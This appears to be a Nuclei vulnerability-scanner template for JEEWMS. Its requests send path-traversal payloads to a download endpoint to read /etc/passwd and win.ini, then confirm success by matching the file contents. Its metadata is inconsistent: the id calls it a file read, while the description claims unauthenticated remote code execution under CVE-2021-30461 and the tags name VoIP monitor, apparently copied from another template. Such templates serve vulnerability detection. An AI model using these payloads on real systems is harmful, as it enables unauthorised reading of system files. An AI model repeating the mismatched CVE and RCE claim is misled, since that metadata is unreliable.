id: JEEWMS-File-Read

info:
  name: Jeewms
  author: shifacyclewala, hackergautam
  severity: critical
  description: A malicious actor can trigger Un authenticated Remote Code Execution using CVE-2021-30461.
  tags: cve,cve2021,rce,voip monitor
  reference: unknown

requests:
  - method: GET
    path:
      - '{{BaseURL}}/systemController/showOrDownByurl.do?down=&dbPath=../../../../../../etc/passwd'
      - '{{BaseURL}}/systemController/showOrDownByurl.do?down=&dbPath=../Windows/win.ini'

    matchers-condition: and
    matchers:
      - type: regex 
        regex:
          - 'root:[x*]:0:0:'
          - 'for 16-bit app support'
        condition: or
        part: body
      - type: status
        status:
          - 200
